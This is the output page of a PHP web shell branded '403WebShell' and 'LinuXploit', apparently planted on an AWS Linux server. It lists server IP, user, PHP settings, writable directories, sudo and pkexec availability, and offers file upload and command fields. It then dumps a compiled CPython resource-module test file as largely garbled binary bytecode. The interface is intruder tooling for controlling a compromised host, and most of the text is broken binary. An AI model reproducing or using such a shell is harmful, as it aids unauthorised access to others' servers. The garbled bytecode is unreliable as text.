Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/test/__pycache__/test_resource.cpython-310.pyc
o

�9j*�@sxddlZddlZddlZddlmZddlmZddlmZddlZe�	d�Z
Gdd�dej�Ze
dkr:e��dSdS)	�N)�support)�
import_helper)�	os_helper�resourcec@s�eZdZdd�Ze�ejdkd�dd��Zdd�Z	d	d
�Z
dd�Ze�ejdkd
�dd��Zdd�Z
e�ejdkd�dd��Zdd�Ze�eed�d�e�ddd�dd���Ze�eed�d�e�ddd�dd ���Zd!S)"�ResourceTestcCsF|�ttj�|�ttjdd�|�ttj�|�ttjddd�dS�N�*)�assertRaises�	TypeErrorr�	getrlimit�	setrlimit��self�r�)/usr/lib/python3.10/test/test_resource.py�	test_argsszResourceTest.test_args�vxworksz0setting RLIMIT_FSIZE is not supported on VxWorkscCsNz
t�tj�\}}Wn
tyYdSw|�tj|�t�tj||f�dS)N)rr�RLIMIT_FSIZE�AttributeError�assertEqual�
RLIM_INFINITYr)r�cur�maxrrr�test_fsize_ismaxs�zResourceTest.test_fsize_ismaxcCs>z
t�tj�\}}Wn
tyYdSwzwz
t�tjd|f�d}Wnty.d}Ynwttjd�}z>|�	d�z|�	d�|�
�td�D]}t�
d�|�
�qIWntyb|s`�Ynw|rnt�tj||f�W|��n|��wW|r�t�tj||f�t�tj�dS|r�t�tj||f�t�tj�w)	NiTF�wbsXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX�Y�g�������?)rrrrr�
ValueError�openr�TESTFN�write�flush�range�time�sleep�OSError�close�unlink)rrr�	limit_set�f�irrr�test_fsize_enforced%sJ�
�



�����z ResourceTest.test_fsize_enforcedc	Cs�dd}z
t�tj�\}}Wn
tyYdSwzt�tj||f�Wnttfy/Ynwzt�tj||f�WdSttfyHYdSw)N�
�2)rrrrr�
OverflowErrorr)r�too_bigrrrrr�test_fsize_toobigTs ���zResourceTest.test_fsize_toobigc	Cs�|�ttj�|�ttjdd�t�tj�}t�tj�}zt�tj�}Wnttfy/Ynwz	t�tj	�}WdSttfyEYdSwr)
r	r
r�	getrusage�RUSAGE_SELF�RUSAGE_CHILDREN�RUSAGE_BOTHrr�
RUSAGE_THREAD)r�	usageself�
usagechildren�	usageboth�usage_threadrrr�test_getrusagees��zResourceTest.test_getrusagez.setting RLIMIT_CPU is not supported on VxWorkscCsHzt�tj�}Wn
tyYdSwGdd�d�}t�tj|��dS)Nc@seZdZdd�Zdd�ZdS)z9ResourceTest.test_setrusage_refcount.<locals>.BadSequencecS�dS�N�rr
rrr�__len__~�zAResourceTest.test_setrusage_refcount.<locals>.BadSequence.__len__cSs|dvrtttd���St�)N)r�i@B)�len�tupler"�
IndexError�r�keyrrr�__getitem__�szEResourceTest.test_setrusage_refcount.<locals>.BadSequence.__getitem__N��__name__�
__module__�__qualname__r>rFrrrr�BadSequence}srK)rr�
RLIMIT_CPUrr)r�limitsrKrrr�test_setrusage_refcountus�z$ResourceTest.test_setrusage_refcountcCs$t��}|�|t�|�|d�dS)Nr)r�getpagesize�assertIsInstance�int�assertGreaterEqual)r�pagesizerrr�
test_pagesize�szResourceTest.test_pagesize�linuxztest requires Linuxc	C�NdD]"}t�t��|�ttd|�t�Wd�n1swYqdS)N)�MSGQUEUE�NICE�RTPRIO�RTTIME�
SIGPENDING�RLIMIT_��
contextlib�suppressrrP�getattrrrQ�r�attrrrr�test_linux_constants�s���z!ResourceTest.test_linux_constantsc	CrV)N)�SWAP�SBSIZE�NPTSr\r]rarrr�test_freebsd_contants�s���z"ResourceTest.test_freebsd_contants�prlimitz
no prlimitr=��$cCs`|�ttj�|�ttjdtj�t�tj�}|�t�dtj�|�|�t�dtj|�|�dS)N���r)r	r
rrh�ProcessLookupError�	RLIMIT_ASrr)r�limitrrr�test_prlimit�s
��zResourceTest.test_prlimitcs<G�fdd�d�}t�tj��|�t�dtj|����dS)Ncs eZdZdd�Z�fdd�ZdS)z2ResourceTest.test_prlimit_refcount.<locals>.BadSeqcSr;r<rr
rrrr>�r?z:ResourceTest.test_prlimit_refcount.<locals>.BadSeq.__len__cs�|dS)Nr@rrD�rMrrrF�sz>ResourceTest.test_prlimit_refcount.<locals>.BadSeq.__getitem__NrGrrprr�BadSeq�srqr)rrrmrrh)rrqrrpr�test_prlimit_refcount�s
�z"ResourceTest.test_prlimit_refcountN)rHrIrJr�unittest�skipIf�sys�platformrr+r0r:rNrT�
skipUnlessrcrg�hasattrrr�requires_linux_versionrorrrrrrr
s.�
/�


r�__main__)r^rurs�testr�test.supportrrr#�
import_moduler�TestCaserrH�mainrrrr�<module>s
%�

Youez - 2016 - github.com/yon3zu
LinuXploit